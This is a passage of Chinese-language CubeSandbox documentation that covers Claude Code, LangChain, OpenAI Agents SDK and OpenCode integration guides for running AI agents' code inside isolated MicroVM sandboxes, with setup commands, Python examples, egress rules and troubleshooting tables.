~/.claude/hooks/cubesandbox_rewrite.py ``` ### `the cubesandbox SDK is required` 把依赖装进 Claude Code 使用的 Python 环境:`pip install -r requirements.txt`。 ### `CUBE_TEMPLATE_ID is not set` / `Template not found` 在 `.env` 里把 `CUBE_TEMPLATE_ID` 设为一个 `READY` 模板(`cubemastercli tpl list`),然后重新运行 `hooks/install.sh`。 ### 挂载被拒 路径不在 `allowed_host_mount_prefixes` 内,或在被调度的 Cubelet 上不存在。把前缀加入 CubeMaster `extra_conf`,确保同机,或接受无挂载回退。 ## 示例仓库 完整可运行示例见 [`examples/claude-code-integration/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/claude-code-integration),包含: * `hooks/cubesandbox_rewrite.py` —— 改写 Bash 调用的 `PreToolUse` hook * `hooks/cubesandbox_exec.py` —— 执行器:按会话复用 MicroVM、shell 状态持久化 * `hooks/install.sh` —— 幂等安装 / 卸载 * `tests/` —— hook 改写、执行器、安装生命周期的测试 ## 参考 * Claude Code hooks 文档:<https://docs.anthropic.com/en/docs/claude-code/hooks> * 可运行示例:[`examples/claude-code-integration/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/claude-code-integration) * 项目快速开始:[快速开始](/zh/guide/quickstart) --- --- url: https://cubesandbox.com/zh/guide/integrations/langchain.md --- # LangChain 集成指南 将调用 Python 工具的 [LangChain](https://github.com/langchain-ai/langchain) Agent 运行在 [CubeSandbox](https://github.com/TencentCloud/CubeSandbox) 的 MicroVM 中。由于 Cube 暴露了 **与 E2B 兼容的 API**，把 LangChain 应用从 E2B 迁移到 Cube 通常只需改几个环境变量，同时还能为 Agent 生成的每一行代码获得 KVM 级隔离。本文附带可运行的 [`examples/langchain-integration`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/langchain-integration) 示例工程。 ## 两个 LangChain 大版本（0.x 与 1.x） 本指南提供**两个变体**，仅在 LangChain 的 Agent API 与所需 Python 版本上不同。两者共用同一个 `run_python` 工具（基于官方 `cubesandbox` SDK）和同一个沙箱模板。 | 变体 | LangChain | langchain-openai | Python | Agent API | 示例路径 | |---|---|---|---|---|---| | **0.x**（传统） | `0.3.x` | `0.3.x` | 3.9+ | `AgentExecutor` + `create_react_agent` | `examples/langchain-integration/0.x` | | **1.x**（现代） | `1.x` | `1.x` | 3.10+ | `langchain.agents.create_agent` + `@tool` | `examples/langchain-integration/1.x` | 若你在 Python 3.9 上，或已有 LangChain 0.3.x 代码 → 用 **0.x**。若在 Python 3.10+ 且从零开始 （或已在 LangChain 1.x 上）→ 用 **1.x**。 ### 集成对象与版本 | 组件 | 0.x | 1.x | |---|---|---| | LangChain | `langchain==0.3.23` | `langchain>=1.3.14,<2.0` | | langchain-openai | `langchain-openai==0.3.12` | `langchain-openai>=1.0,<2.0` | | LangGraph（`create_agent` 运行时） | —（未使用；`AgentExecutor` + `create_react_agent` 不依赖 LangGraph） | `langgraph>=0.2`（已在 `1.x/requirements.txt` 显式声明，保证示例自包含） | | cubesandbox SDK（主驱动） | `cubesandbox>=0.6.0` | `cubesandbox>=0.6.0` | | CubeSandbox 基础镜像 | `ghcr.io/tencentcloud/cubesandbox-base:2026.16` | 相同 | | CubeSandbox 平台 | `>= 0.3.0`（核心）；可选特性见下表 | `>= 0.3.0`（核心）；可选特性见下表 | 各特性的平台最低版本（上面的 SDK 下限覆盖基础工作流；仅当你使用该特性时才提高 `cubesandbox`/平台版本）： | 特性 | 最低平台 | 最低 SDK | |---|---|---| | 基础工作流（通过 49983 端口的 envd 进程 API 调用 `commands.run` / `files.write`、上下文管理器销毁） | `>= 0.3.0` | `>= 0.6.0` | | CubeEgress 密钥注入（高级用法，默认拒绝出口流量） | `>= 0.4.0` | `>= 0.3.0` | | 卷挂载（`volume_mounts=`、`Volume` API） | `>= 0.6.0` | `>= 0.6.0` | ## 前置条件 * 已部署 CubeSandbox，CubeAPI 可从 `http://<node>:3000` 访问。 * `cubemastercli` 已在 `$PATH` 且已连通集群。 * 构建机装有 Docker，且 registry 能被 Cube 节点拉取。 * Python 3.10+（1.x 变体）。0.x 变体在 Python 3.9+ 上也可运行。 * 能访问 Cube 集群节点。`cubesandbox` SDK 经 `CUBE_API_URL` 访问 CubeAPI、经 `CUBE_PROXY_NODE_IP` 访问数据面（使 `*.cube.app` 无需 DNS 即可解析）；若代理未监听 80 端口，需设置 `CUBE_PROXY_PORT_HTTP`。 * 一个 OpenAI 兼容的 LLM 端点（示例使用 TokenHub；任何 OpenAI 兼容端点均可经 `OPENAI_BASE_URL` / `OPENAI_API_KEY` 接入）。 ## 为什么把 LangChain Agent 放进沙箱 LangChain Agent 经常会暴露代码执行工具（数据分析、文件转换、调用 shell）。在宿主机上运行该工具， 会把 Agent 的影响范围与你的开发机混在一起。放进 CubeSandbox 后，你将获得： | 关注点 | CubeSandbox 提供 | |---|---| | **隔离** | 每个会话一个 KVM MicroVM，独立客户机内核——Agent 代码无法触碰宿主机 | | **可复现** | 每次会话都从同一个模板快照启动 | | **快速启动** | 冷启动低于 60ms，因此并行跑多个 Agent 成本很低 | | **长任务** | `sandbox.pause()` 快照 VM + 根文件系统，稍后恢复 | | **密钥卫生** | CubeEgress 可在网络层注入 LLM 鉴权头——VM 内永远看不到真实密钥 | | **出口审计** | 每一次出站请求都会记录到出口审计日志 | ## 接入步骤 ### 1. 构建模板镜像 在 `cubesandbox-base` 之上叠加 Python 数据科学栈（envd 已在 `:49983` 监听）。 ```dockerfile # examples/langchain-integration/Dockerfile ARG CUBE_BASE_IMAGE=ghcr.io/tencentcloud/cubesandbox-base:2026.16 FROM ${CUBE_BASE_IMAGE} ARG DEBIAN_FRONTEND=noninteractive RUN apt-get update \ && apt-get install -y --no-install-recommends \ python3 python3-pip ca-certificates git \ && rm -rf /var/lib/apt/lists/* # 为可复现构建锁定版本，按需升级 RUN python3 -m pip install --no-cache-dir --upgrade pip \ && python3 -m pip install --no-cache-dir --break-system-packages \ pandas==2.2.3 numpy==1.26.4 matplotlib==3.9.3 scikit-learn==1.6.1 WORKDIR /workspace # 预置演示数据集，使示例 Agent 无需外部输入即可运行 COPY sales.csv /workspace/sales.csv EXPOSE 49983 ``` 构建并推送： ```bash docker build --platform linux/amd64 \ -t <your-registry>/langchain-cube:latest \ examples/langchain-integration docker push <your-registry>/langchain-cube:latest ``` ### 2. 注册为 Cube 模板 ```bash cubemastercli tpl create-from-image \ --image <your-registry>/langchain-cube:latest \ --writable-layer-size 2G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` `create-from-image` 默认会阻塞并等待任务完成；如需提交后立即退出、稍后再轮询，请加 `--detach`， 之后用 `cubemastercli tpl watch --job-id <job_id>` 查看进度。 任务进入 `READY` 后，记下 `template_id`——每次 `Sandbox.create()` 都要传入它。`2G` 可写层适合中等 分析任务；若 Agent 运行时安装大体积包，可调到 `4G+`。 ### 3. 安装依赖并配置环境变量 ```bash cd examples/langchain-integration/1.x # 或 0.x，取决于你的 LangChain 版本 cp ../.env.example .env # 填写 CUBE_API_URL、CUBE_API_KEY、CUBE_TEMPLATE_ID、CUBE_PROXY_NODE_IP 以及你的 LLM 密钥 pip install -r requirements.txt ``` | 变量 | 流向 | 说明 | |---|---|---| | `CUBE_API_URL` | `cubesandbox` SDK | CubeAPI 地址（`http://<node>:3000`） | | `CUBE_API_KEY` | `cubesandbox` SDK | （可选）`X-API-Key` 请求头；仅需在启用了鉴权的 CubeAPI 后端设置——鉴权关闭时 SDK 不发送任何认证头 | | `CUBE_TEMPLATE_ID` | `Sandbox.create(template=...)` | 来自步骤 2 | | `CUBE_PROXY_NODE_IP` | `cubesandbox` SDK | CubeProxy 节点 IP，使 `*.cube.app` 无需 DNS 解析 | | `CUBE_PROXY_PORT_HTTP` | `cubesandbox` SDK | 代理 HTTP 端口（默认 `80`；若代理监听 8081 则填 `8081`） | | `OPENAI_API_KEY` / `TOKENHUB_API_KEY` | LLM 客户端 | OpenAI 兼容密钥 | | `OPENAI_BASE_URL` | LLM 客户端 | 如 `https://tokenhub.tencentmaas.com/v1` | | `CHAT_MODEL` | LLM 客户端 | 如 `deepseek-v3` | | `CUBE_SSL_CERT_FILE` | demo | （可选）HTTPS CubeAPI 的自签名 CA 证书路径。demo 会将其导出为 `SSL_CERT_FILE`（进程全局）以供 gRPC 客户端信任——该 bundle 应同时包含公共根证书，否则 LLM 端点也会受影响 | ### 4. 把代码执行工具接到 Cube Agent 逻辑在各版本间不变，只是工具体从本地 REPL 换成 Cube 沙箱。下面这段是 `run_python` 工具的 **参考实现**——基于官方 **`cubesandbox` Python SDK**（`from cubesandbox import Sandbox`）， 用 `sandbox.files.write` 上传代码、`sandbox.commands.run` 执行，因此 **无需裸 HTTP**。 （已发布示例 0.x/1.x 在 `build_agent` 内部内联了等价逻辑。） ```python # run_python 工具 —— 官方 cubesandbox SDK（以下 snippet 使用此实现） import itertools from cubesandbox import Sandbox def make_run_python(sandbox: Sandbox): """返回一个绑定到已创建 `sandbox` 的 run_python 工具。""" script_counter = itertools.count() def run_python(code: str) -> str: """在 Cube Sandbox MicroVM 内执行 Python；返回 stdout，若存在 stderr 则以分隔符附在其后。 镜像已预装 pandas / numpy / matplotlib / scikit-learn。每次调用把代码片段写入唯一的 /workspace/_agent_<n>.py 并运行，避免并发的工具调用互相覆盖。图表可保存到 /workspace（如 /workspace/revenue.png）。 """ script = f"/workspace/_agent_{next(script_counter)}.py" sandbox.files.write(script, code) result = sandbox.commands.run(f"python3 {script}", timeout=120, cwd="/workspace") out = result.stdout # 用分隔符把 stderr 与 stdout 区分开，避免库警告（退出码为 0）混入 # LLM 看到的真实输出。 if result.stderr: out += "\n--- stderr ---\n" + result.stderr if result.exit_code != 0: out += f"\n[非零退出码: {result.exit_code}]" return out return run_python ``` > **一个沙箱跑完整轮、自动销毁。** 整个 Agent 循环只创建一个 MicroVM（`Sandbox.create(template=...)`）， > 并在 `with` 代码块退出时由上下文管理器调用 `sandbox.kill()`（`DELETE /sandboxes/:sandboxID`）， > 因此不会泄漏沙箱。随附示例正是采用这一模式。 ### 5. 运行 Agent 两个变体都构建同一个 `ChatOpenAI` 客户端并复用共用的 `run_python` 工具，区别仅在 Agent 的构建方式。为整轮运行创建一个 `Sandbox`，并用 `make_run_python(sandbox)` 把工具绑定上去： #### 1.x（现代 —— `langchain.agents.create_agent`） ```python import os from dotenv import load_dotenv from langchain_openai import ChatOpenAI from langchain.agents import create_agent from langchain_core.tools import tool from cubesandbox import Sandbox load_dotenv() _llm_key = os.getenv("OPENAI_API_KEY") or os.getenv("TOKENHUB_API_KEY") if not _llm_key: raise SystemExit("Missing LLM API key (set OPENAI_API_KEY or TOKENHUB_API_KEY)") llm = ChatOpenAI( model=os.getenv("CHAT_MODEL") or "deepseek-v3", api_key=_llm_key, base_url=os.getenv("OPENAI_BASE_URL") or "https://tokenhub.tencentmaas.com/v1", timeout=60, max_retries=2, temperature=0, ) SANDBOX_CONTEXT = ( "You are a data analyst. You can execute Python inside a Cube Sandbox " "MicroVM via the run_python tool. Environment facts:\n" "- Working directory: /workspace\n" "- Demo dataset: /workspace/sales.csv with columns month,product,units,price\n" " (6 rows: 3 months x 2 products; revenue is defined as units * price)\n" "- Preinstalled: pandas, numpy, matplotlib, scikit-learn\n" "- Save any charts/artifacts under /workspace\n" "When the user mentions 'the dataset' without a path, use /workspace/sales.csv.\n" "Modeling conventions for this tiny demo dataset (follow them unless the " "user explicitly specifies otherwise):\n" "- Regression/forecast target: monthly TOTAL revenue. Aggregate to one row " "per month, then use a numeric month index (0, 1, 2, ...) as the only " "feature.\n" "- Never use the target itself or its direct components (units, price) as " "features when predicting revenue - that is data leakage and yields a " "meaningless RMSE of 0.\n" "- The dataset is too small for a train/test split; fit and evaluate on " "all rows and explicitly state that the metric is in-sample.\n" "- Report only numbers actually printed by the executed code; never " "invent or estimate metric values." ) with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"], timeout=600) as sandbox: run_python = tool(make_run_python(sandbox)) agent = create_agent(llm, [run_python], system_prompt=SANDBOX_CONTEXT) result = agent.invoke({"messages": [{"role": "user", "content": "从 /workspace 读取 sales.csv，按月计算总营收，并在最终回答中报告各月营收数字。"}]}) for msg in reversed(result["messages"]): if msg.content: print(msg.content) break else: print("(no final answer in messages)") ``` #### 0.x（传统 —— `AgentExecutor` + `create_react_agent`） ```python import os from dotenv import load_dotenv from langchain_openai import ChatOpenAI from langchain.agents import AgentExecutor, create_react_agent from langchain.tools import Tool from langchain_core.prompts import PromptTemplate from cubesandbox import Sandbox load_dotenv() _llm_key = os.getenv("OPENAI_API_KEY") or os.getenv("TOKENHUB_API_KEY") if not _llm_key: raise SystemExit("Missing LLM API key (set OPENAI_API_KEY or TOKENHUB_API_KEY)") llm = ChatOpenAI( # 与上面相同的参数 model=os.getenv("CHAT_MODEL") or "deepseek-v3", api_key=_llm_key, base_url=os.getenv("OPENAI_BASE_URL") or "https://tokenhub.tencentmaas.com/v1", timeout=60, max_retries=2, temperature=0, ) with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"], timeout=600) as sandbox: run_python = make_run_python(sandbox) tools = [Tool(name="run_python", func=run_python, description="在 Cube Sandbox MicroVM 中执行 Python 代码。")] agent = create_react_agent(llm, tools, PromptTemplate.from_template( "You are a data analyst. Answer the question using tools.\n\n" "Environment facts:\n" "- Demo dataset: /workspace/sales.csv with columns month,product,units,price\n" " (6 rows: 3 months x 2 products; revenue is defined as units * price)\n" "- Preinstalled: pandas, numpy, matplotlib, scikit-learn\n" "- Save any charts/artifacts under /workspace\n" "When the user mentions 'the dataset' without a path, use /workspace/sales.csv.\n" "Modeling conventions (unless the user specifies otherwise):\n" "- Regression target: monthly TOTAL revenue; aggregate per month and use " "a numeric month index (0, 1, 2, ...) as the only feature.\n" "- Never use the target or its components (units, price) as features - " "that is data leakage and yields a meaningless RMSE of 0.\n" "- Too small for a train/test split; evaluate in-sample and say so.\n" "- Report only numbers actually printed by the executed code.\n\n" "Tools: {tools}\n\n" "Use the following format:\n\n" "Question: the input question you must answer\n" "Thought: you should always think about what to do\n" "Action: the action to take, should be one of [{tool_names}]\n" "Action Input: the input to the action\n" "Observation: the result of the action\n" "... (this Thought/Action/Action Input/Observation can repeat N times)\n" "Thought: I now know the final answer\n" "Final Answer: the final answer to the original input question\n\n" "Begin!\n\n" "Question: {input}\n\nThought: {agent_scratchpad}")) executor = AgentExecutor(agent=agent, tools=tools, verbose=True, handle_parsing_errors=True) result = executor.invoke({"input": "从 /workspace 读取 sales.csv，按月计算总营收，并在最终回答中报告各月营收数字。"}) print(result["output"]) ``` 运行（在所选变体目录下）： ```bash python langchain_agent_demo.py # 自定义问题： python langchain_agent_demo.py "在数据集上训练一个线性模型并报告 RMSE。" ``` ### 预期效果 使用默认提示词时，宿主机上打印的 **Agent 最终回答**会包含各月营收数字 （2780.0 / 3375.5 / 3872.0）。（1.x 的 `create_agent` 默认不显示详细过程；0.x 的 `AgentExecutor(verbose=True)` 还会把完整推理过程打印到控制台。） 销毁是尽力而为：若 `kill()` 失败（例如沙箱已过期），SDK 的上下文管理器会**静默吞掉**错误——不会打印 任何警告。如果你需要感知销毁失败，请显式调用 `sandbox.kill()` 并自行处理 `CubeSandboxError`。 ## 关键代码片段 ### 把 E2B 应用迁移到 Cube 如果你的 LangChain 应用已经在驱动 E2B 沙箱，代码几乎完全一致——只要把 import 换成 `cubesandbox` SDK，并指向 CubeAPI： ```diff - from e2b_code_interpreter import Sandbox - # E2B 云端（托管） - export E2B_API_KEY="e2b_xxx" - export E2B_API_URL="https://api.e2b.dev" # 默认值，通常省略 + from cubesandbox import Sandbox + # Cube Sandbox（自托管，MicroVM 隔离） + export CUBE_API_URL="http://<your-cube-host>:3000" + # export CUBE_API_KEY="<your-api-key>" # 仅用于启用了鉴权的后端 + export CUBE_TEMPLATE_ID="<your-cube-template-id>" + export CUBE_PROXY_NODE_IP="<your-cube-host>" ``` `Sandbox` 的 API（`Sandbox.create`、`commands.run`、`files.write`、`kill`）形态保持一致， 因此工具的其他代码无需改动。上面的示例正是使用这个 SDK。 ### 本地基线（被替换的部分） ```python # 改造前：代码经 langchain_experimental 在宿主机运行 from langchain_experimental.tools import PythonREPLTool tools = [PythonREPLTool()] ``` 把 `PythonREPLTool` 换成上面的 `run_python` Cube 工具，即可免费获得隔离能力。 ## 注意事项 * **envd 用户。** `cubesandbox` SDK 的 `files.write` / `commands.run` 默认以 `root` 运行， 无需额外配置。（基础镜像还预置了一个非 root 的 `uid=1000` 用户；若让 SDK 以该用户运行， 文件权限行为会随之变化。） * **清理安全。** `with Sandbox.create(...) as sandbox:` 上下文管理器在退出时调用 `sandbox.kill()` （`DELETE /sandboxes/:sandboxID`，**没有** `/kill` 子路径），即使 Agent 抛异常也不会泄漏沙箱。 * **一个沙箱跑完整轮、跨调用复用。** 整个 Agent 循环只创建一个 MicroVM，并在每次 `run_python` 调用间 复用，因此只需支付一次生命周期开销。 * **状态不跨轮次保留。** `commands.run` 每次都是全新的 `python` 进程，变量/导入不会在工具调用间存续。 把片段需要的一切内联进去，或把中间状态写到 `/workspace` 再读回。 * **模板必须包含所需栈。** 把 pandas/numpy/matplotlib 预装进镜像；在默认拒绝出口策略下，运行时 `pip install` 会失败。 * **超时。** 同时设置沙箱 `timeout`（平台回收）和单次命令 `timeout`；长 Agent 循环可能耗尽任意一个。 ## 进阶用法 ### 网络隔离 + 密钥注入（原生 SDK） 在共享集群上，优先使用原生 `cubesandbox` SDK，配合默认拒绝出口与网络层密钥注入，让 LLM 密钥永 不进入 VM： ```python import os from cubesandbox import Sandbox, Rule, Match, Action, Inject rules = [ Rule( name="allow_llm", match=Match(scheme="https", sni="api.openai.com", host="api.openai.com"), action=Action(allow=True, audit="metadata", inject=[ Inject(header="Authorization", secret=os.environ["OPENAI_API_KEY"], format="Bearer ${SECRET}"), ]), ), ] with Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], timeout=600, allow_internet_access=False, # 默认拒绝；规则中的主机自动放行 network={"rules": rules}, ) as sandbox: run_agent(sandbox) # 退出 with 块时执行 sandbox.kill() ``` ### 文件挂载 `Sandbox.create()` 没有 `mounts` 参数，请改用 Cube 特有的 API： * **宿主机目录挂载**通过 `metadata["host-mount"]` 传入（一个 JSON 编码的 `{hostPath, mountPath, readOnly}` 描述符列表），让 Agent 直接读写宿主机共享数据， 无需经 `files.write` 来回搬运。注意 `hostPath` 必须位于**允许的前缀**之下 （默认仅 `/data/shared/`；如需其他路径，请先在 CubeMaster 配置中扩展 `allowed_host_mount_prefixes`）： ```python import json from cubesandbox import Sandbox sandbox = Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], metadata={ "host-mount": json.dumps([ {"hostPath": "/data/shared/datasets", "mountPath": "/workspace/datasets", "readOnly": True}, ]), }, ) ``` * **卷挂载**使用 `volume_mounts={挂载路径: 卷ID}`（参见 [`examples/volume`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/volume)）： ```python from cubesandbox import Sandbox, Volume vol = Volume.create("my-workspace") sandbox = Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], volume_mounts={"/workspace": vol}, ) ``` ### 长任务暂停 / 恢复 `pause()` 返回 `None`——沙箱 ID 不会改变。恢复时对同一 ID 调用 `Sandbox.connect()` 即可： ```python sandbox = Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"], timeout=1800) try: turn_1(sandbox) sandbox.pause() sandbox = Sandbox.connect(sandbox.sandbox_id) # 恢复后 /workspace 完好 turn_2(sandbox) finally: sandbox.kill() ``` ## 故障排查 | 现象 | 可能原因 | 解决办法 | |---|---|---| | 文件操作 `permission denied` | envd 用户不匹配 | `cubesandbox` SDK 的 `files.write` / `commands.run` 默认以 `root` 运行。若使用 E2B SDK，请设置 `e2b.envd.rpc.default_username = "root"`。 | | `command not found: python` | 模板缺少 Python | 重新构建包含 `python3` 的镜像 | | `ModuleNotFoundError: pandas` | 镜像未含该栈 | 在 Dockerfile 中加入 pandas/numpy/matplotlib | | `403 Forbidden - CubeEgress` | 默认拒绝且无放行规则 | 放行 LLM 主机（及其他所需主机） | | 连接 CubeAPI `Connection refused` | `CUBE_API_URL` 错误 | 设为 `http://<node>:3000` | | 模板卡在 `PULLING` | 集群无法访问仓库 | 推送到集群可访问的仓库 | | `run_python` 无返回 | 脚本没有 stdout | 让 Agent 显式 `print()` 结果 | ## 参考资料 * 可运行示例 —— `0.x`（LangChain 0.3.x）：[`examples/langchain-integration/0.x`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/langchain-integration/0.x) · `1.x`（LangChain 1.x）：[`examples/langchain-integration/1.x`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/langchain-integration/1.x) * 自定义模板镜像：[`docs/guide/tutorials/bring-your-own-image.md`](../tutorials/bring-your-own-image.md) * 从镜像创建模板：[`docs/guide/tutorials/template-from-image.md`](../tutorials/template-from-image.md) * 快照 / 克隆 / 回滚：[`docs/guide/snapshot-rollback-clone.md`](../snapshot-rollback-clone.md) * 凭证保管 + 出口控制：[`docs/guide/security-proxy.md`](../security-proxy.md) * LangChain：<https://github.com/langchain-ai/langchain> * E2B SDK：<https://github.com/e2b-dev/e2b> * `langchain_e2b`（E2B 官方 LangChain 集成包）：<https://github.com/e2b-dev/langchain_e2b> --- --- url: https://cubesandbox.com/zh/guide/integrations/openai-agents-sdk.md --- # OpenAI Agents SDK 集成指南 [English](../../../guide/integrations/openai-agents-sdk.md) 让 [OpenAI Agents SDK](https://developers.openai.com/api/docs/guides/agents/sandboxes) 的 `SandboxAgent` 使用 CubeSandbox MicroVM 作为沙箱执行环境。CubeSandbox 暴露 E2B 兼容 API， 因此可以直接复用 SDK 内置的 `E2BSandboxClient` 作为沙箱执行平面，无需实现自定义 provider。 本文是一份简明的集成入口。仓库已经提供完整的 Shell Agent、SWE-bench、暂停/恢复和 Code Interpreter 示例；下方链接可以直接运行并查看这些实现。 ## 集成对象与版本 | 组件 | 仓库示例使用的基线 | | --- | --- | | OpenAI Agents SDK | 带 Sandbox Agents 支持的 Python 包 `openai-agents[e2b]` | | Python | 3.10+ | | CubeSandbox | E2B 兼容 CubeAPI，以及可访问的 CubeProxy 数据平面 | | 沙箱模式 | 通用 E2B（`E2BSandboxType.E2B`）和 Code Interpreter（`E2BSandboxType.CODE_INTERPRETER`） | OpenAI Agents SDK 的 Sandbox Agents 目前处于 beta。示例 requirements 有意安装当前 SDK 版本；生产部署应在完成验证后锁定解析出的依赖版本。 ## 前置条件 * 已运行的 [CubeSandbox 部署](/zh/guide/quickstart)，并且可以访问 CubeAPI，通常为 `http://<cube-host>:3000`。 * `cubemastercli` 已连接集群，并已获得一个沙箱模板 ID。 * 运行 Agent harness 的主机安装了 Python 3.10+。 * 运行完整 Agent demo 时，需要 TokenHub 或其他 OpenAI 兼容 LLM 端点的 API Key 和模型名。 ::: warning 控制平面与数据平面 `E2B_API_URL` 用于选择 CubeAPI 控制平面端点。官方 E2B SDK 还会访问每个沙箱的数据平面域名。 一键本地部署自带 CoreDNS；生产环境应配置泛域名 DNS。若必须在没有泛域名 DNS 的本地环境中 使用官方 E2B SDK，请使用 [E2B 开发 sidecar](/zh/guide/multi-node-deploy#官方-e2b-sdk-无泛域名-dns开发-sidecar)。 ::: ## 安装与配置 ### 1. 选择 CubeSandbox 模板 `simple_demo.py` 可以使用任何在 `49983` 端口运行 envd 的 Linux 模板。你可以复用已有模板， 也可以创建仓库调试 demo 使用的 SWE-bench 模板： ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-image.tencentcloudcr.com/demo/django_1776_django-13447:latest \ --writable-layer-size 1G \ --expose-port 49983 \ --cpu 4000 --memory 8192 \ --probe 49983 ``` 该命令会异步构建模板。使用输出中的任务 ID 监控构建进度： ```bash cubemastercli tpl watch --job-id <job_id> ``` 等待状态变为 `READY`，然后记录输出中的 `template_id`。 ### 2. 安装示例依赖 ```bash cd examples/openai-agents-example python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt cp .env.example .env ``` 配置 `.env`： | 变量 | 用途 | | --- | --- | | `E2B_API_URL` | CubeAPI 控制平面地址，例如 `http://<cube-host>:3000` | | `E2B_API_KEY` | E2B SDK 必填；开启 CubeAPI 鉴权时使用鉴权回调接受的 `e2b_` 前缀 Key，未开启时使用 `e2b_000000` | | `CUBE_TEMPLATE_ID` | CubeSandbox 模板 ID | | `TOKENHUB_API_KEY` | 仓库 demo 默认使用的 TokenHub Key | | `OPENAI_API_KEY` / `OPENAI_BASE_URL` | 其他 OpenAI 兼容 LLM 的凭据和端点 | | `CUBE_SSL_CERT_FILE` | 可选，自签名 CubeSandbox 部署的 CA bundle | 模型名必须存在于配置的 LLM 端点。模板变量名由应用自行决定：现有 E2B 应用可以保留原变量名， 仓库示例为了清晰使用 `CUBE_TEMPLATE_ID`。 ## 集成代码片段 保留原有 Agent 定义，只替换沙箱连接配置： ```python import asyncio import os from agents import Runner from agents.run import RunConfig from agents.sandbox import SandboxRunConfig from agents.extensions.sandbox import ( E2BSandboxClient, E2BSandboxClientOptions, E2BSandboxType, ) async def main(): run_config = RunConfig( sandbox=SandboxRunConfig( client=E2BSandboxClient(), options=E2BSandboxClientOptions( sandbox_type=E2BSandboxType.E2B, template=os.environ["CUBE_TEMPLATE_ID"], timeout=300, ), ), workflow_name="Cube shell agent", ) result = await Runner.run( agent, "What OS is running? Show uname and /etc/os-release.", run_config=run_config, ) print(result.final_output) # `agent` 是已有的 SandboxAgent。 asyncio.run(main()) ``` 仓库中的 [`simple_demo.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/openai-agents-example/simple_demo.py) 在这段核心配置之外补齐了完整的 `SandboxAgent`、模型配置、资源清理，以及当前 CubeSandbox envd 所需的兼容处理。 ### 迁移已有的 E2B Agent 客户端类无需更换。只需把现有 E2B 配置指向 Cube，并传入 Cube 模板 ID： ```diff - E2B_API_URL="https://api.e2b.dev" - E2B_API_KEY="<e2b-cloud-key>" - SANDBOX_TEMPLATE="<e2b-template>" + E2B_API_URL="http://<cube-host>:3000" + E2B_API_KEY="e2b_000000" + SANDBOX_TEMPLATE="<cube-template-id>" ``` 上例适用于未开启 CubeAPI 鉴权的部署。如果已经开启鉴权，请把 `e2b_000000` 替换为鉴权回调 接受的 `e2b_` 前缀凭据。 `SANDBOX_TEMPLATE` 代表应用原先传给 `E2BSandboxClientOptions(template=...)` 的环境变量， 无需特意改名。 ## 可运行 Demo 先在不请求 LLM 的情况下验证沙箱链路： ```bash cd examples/openai-agents-example python main.py --sandbox-only --timeout 60 ``` 验证文件系统状态能否跨暂停/恢复保留： ```bash python simple_demo.py --pause-resume ``` 然后让 Shell Agent 执行一个真实任务： ```bash python simple_demo.py \ --question "What OS is running? Show uname and the first 3 lines of /etc/os-release." ``` 对于更完整的工作流，`main.py` 会让 Agent 检查 Django 源码并分析 SWE-bench 的 `django__django-13447` Bug。参数和预期流程见双语 [示例 README](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openai-agents-example)。 ## 进阶用法 * \*\*长任务：\*\*同时设置 `E2BSandboxClientOptions(timeout=...)` 的沙箱生命周期，以及合适的 Agent 最大轮数。 * \*\*暂停与恢复：\*\*设置 `pause_on_exit=True`，保留会话状态，然后调用 `E2BSandboxClient.resume(...)`。仓库 demo 完整执行了写入、暂停、恢复、读取和清理流程。 * \*\*Code Interpreter：\*\*使用 [`openai-agents-code-interpreter`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openai-agents-code-interpreter) 中的示例。通用执行需要 `49983` 端口的 envd；Jupyter 模式还要求模板镜像在 `49999` 端口提供 Code Interpreter 服务。 * \*\*网络与存储控制：\*\*通过[网络策略](/zh/guide/network-policy)、 [安全代理](/zh/guide/security-proxy)和[持久化存储](/zh/guide/persistent-storage)配置 Cube 专有能力。E2B 兼容层未覆盖的能力可以预先写入模板，或通过 CubeSandbox 原生 API 管理。 ## 注意事项 * 仓库示例把 E2B envd 用户设为 `root`，并在对接旧版 envd 时移除 `stdin` 参数。如果你的部署 仍需这些适配，请从可运行示例复制兼容代码块。 * 仅配置 `E2B_API_URL` 不能替代数据平面的 DNS 或 sidecar 配置；需要同时验证 CubeAPI 和 CubeProxy 的可达性。 * `E2BSandboxType.CODE_INTERPRETER` 需要专门构建的模板；选择该枚举不会自动安装或启动 Jupyter。 * 应把沙箱视为不受信任的执行环境。除非任务明确需要，否则把 LLM 凭据保留在 Agent harness 中， 不要传入 MicroVM。 ## 参考资料 * [OpenAI Sandbox Agents 官方文档](https://developers.openai.com/api/docs/guides/agents/sandboxes) * [可运行的 Shell Agent 与 SWE-bench 示例](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openai-agents-example) * [可运行的 Code Interpreter 示例](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openai-agents-code-interpreter) * [OpenAI Agents SDK × CubeSandbox 详细实现说明](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/openai-agents-example/openai-agents-sandbox-cube-integration_zh.md) * [从客户端连接 CubeSandbox 集群](/zh/guide/multi-node-deploy#从客户端连接集群) --- --- url: https://cubesandbox.com/zh/guide/integrations/opencode-plugin.md --- # OpenCode 集成指南（插件钩子方案） 让 OpenCode 继续跑在宿主机上，但它下发的每一条 `bash` 命令都在隔离的 CubeSandbox MicroVM 中执行。重定向发生在插件钩子里，模型侧不需要改动 提示词、工具或工作流。 ## 集成对象与版本 | 项目 | 已测试版本 | |---|---| | OpenCode | 支持 `tool.execute.before` 的插件 API（见 [OpenCode 插件文档](https://opencode.ai/docs/plugins/)） | | CubeSandbox | v0.6.0（`8721dd15`，构建于 2026-07-24） | | Python SDK | `e2b-code-interpreter` | | 宿主环境 | WSL2 上的 Ubuntu 